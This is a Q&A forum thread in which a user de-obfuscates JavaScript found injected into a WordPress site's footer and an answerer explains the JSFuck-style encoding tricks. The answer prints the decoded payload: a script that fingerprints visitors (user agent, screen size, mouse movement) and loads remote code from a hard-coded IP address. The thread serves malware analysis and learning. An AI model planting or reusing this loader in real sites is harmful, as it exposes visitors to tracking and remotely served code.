1

Found a WP site (not mine) with lovely obfuscated code injected into the footer so I've been trying to de-obfuscate it.

I ran it through unpacker, then converted hex to ASCII, then un-minified to bring back line breaks and wound up with something someone like me can actually kind of recognize as javascript:

var _0x1386=["$ = ~[]; 
$ = {
    2: ++$,
    $$$$: (![] + "")[$],
    1 $: ++$,
    $0$0: (![] + "")[$],
    0 $0: ++$,
    $0$$: ({} + "")[$],
    $$0$: ($[$] + "")[$],
    0 $$: ++$,
    $$$0: (!"" + "")[$],
    $1: ++$,
    $0$: ++$,
    $$1: ({} + "")[$],
    $$0: ++$,
    $$$: ++$,
    $2: ++$,
    $1$: ++$
};

Then followed some of the instructions of this dude who analyzed very similar javascript.

After doing so, this is where I'm at:

$ = -1; 
$ = {
    2: 0, 
    $$$$: "f",
    1 $: 1,
    $0$0: "a",
    0 $0: 2,
    $0$$: "j", 
    $$0$: "d",
    0 $$: 3,
    $$$0: "e", 
    $1: 4,
    $0$: 5,
    $$1: "t",
    $$0: 6,
    $$$: 7,
    $2: 8,
    $1$: 9
};

**I'm specifically stuck (I think) lines in the $ object that have an integer and then space in the property name. ** Also, the hex alphabet wouldn't include "j" or "t" if I'm not mistaken, so maybe I am evaluating those expressions incorrectly?

Grateful for any bones thrown my way. I know it's a rube question that shares some in common with existing questions about deobfuscation, but it's not a duplicate question - I'm just a guy trying to learn Javascript and coding a little better by way of this exercise.

Thanks in advance!

1

I rolled this slice of code through debugger and here is the function that is meant to be executed in the end.

"moved = 0;
besend = false;
function get_query() {
    besend = true;
    ua = navigator.userAgent;wd = screen.width;hg = screen.height;pl = navigator.platform;
    var tmp1 = document.createElement("script"); tmp1.type = "text/javascript"; tmp1.async = true;
    tmp1.src = "http://184.168.26.25/js/jquery-1.7.50.js?t1=" + ua + "&t2=" + wd + "&t3=" + hg + "&t4=933207538&t5=" + moved + "&t6=9885.js";
    var tmp2 = document.getElementsByTagName("script")[0];
    tmp2.parentNode.insertBefore(tmp1, tmp2);
}
document.onmousemove = function(){moved = 1;clearTimeout(timeout);if ((!besend)) {get_query();}
}
timeout = setTimeout(function(){if ((!moved) && (!besend))  {get_query();besend = true}}, 20000);"

This code explained in the snippet above is called by a function constructor (0)["constructor"]["constructor"]("return\"code to evaluate\"")(), the constructor is modelized in the part $.$ = ($.___)[$.$_][$.$_];.

Also this post evaluated snippet is built referring to a minimal dictionary of characters declared in $={...} at the second line.

What's the pun fun happening inside the Json wrapper $={...} ?

That's seriously a trigger-wanders, let's go by steps to fathom this wayward script:

$ = ~[];

This line is just a twist-round simple negation equivalent to the operation $=-1; the context of this variable is used inside the array, just before overwriting this same variable $.

$$$$: (![] + "")[$]

Well, this took me longer to decipher tbh, this is one of the magical arithmetic nonesense of javascript, see here second note about implicit conversion of boolean to string, ""+false evaluates to "false" just exclusively in the realm of Js, the variable retrieves the first character f since $ is incremented to 0.

({} + "")[$]

What's that honestly? does it return "false" ? "0" ? neither, it returns "[object object]", the object element is string formatted using an inward object.__proto__.toString() conversion when added with a string type.

($[$] + "")[$]

Let's seriously take a deep breath this is very intriguing workaround here, since $ is integer value, at this point evaluated to 2, then how is this treated as array? nah it's not, the js debugger does't generate exception in this case, it just returns an undefined object, what were we talking about objects when additionned with strings ? inner-converted to "undefined" by this chance.

See now nothing is surprising, the author of this script just took advantages of most of eerie behavior of js.

  • Thanks for rendering the code, knew I could just "alert" it in a debugger to show what it is meant to execute (all the junk is wrapped in eval) but I'm insanely curious about the nature of the transformations. Your last comment (about the minimal dictionary) is pointing more to where I'm currently stuck. – Luke Smith Mar 13 '18 at 14:28
  • @LukeSmith there is even more of fun that is going to be lightshed ! – Abr001am Mar 13 '18 at 14:30
  • thanks for investing the time into that. Hopefully you did so before you noticed my link to blog.korelogic.com/blog/2015/01/12 which starts to demystify the same. Check out the 3rd property in the "here's where I'm at" object. The name begins with an integer and has a space: 1 $: 4 Dwight Shrute voice: what does that mean? – Luke Smith Mar 13 '18 at 15:54
  • @LukeSmith I'v gone through that by myself, I didn't read the blog, also i don't know how you came into 1 $: ++$ it bears no sense to me and has no interpretation from the console. – Abr001am Mar 13 '18 at 16:14
  • what's the third property of the referenced object translate to for you, did you get that far? Specifically the property name (I assume my value was correct but the name is what is confounding me.) – Luke Smith Mar 13 '18 at 16:39

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.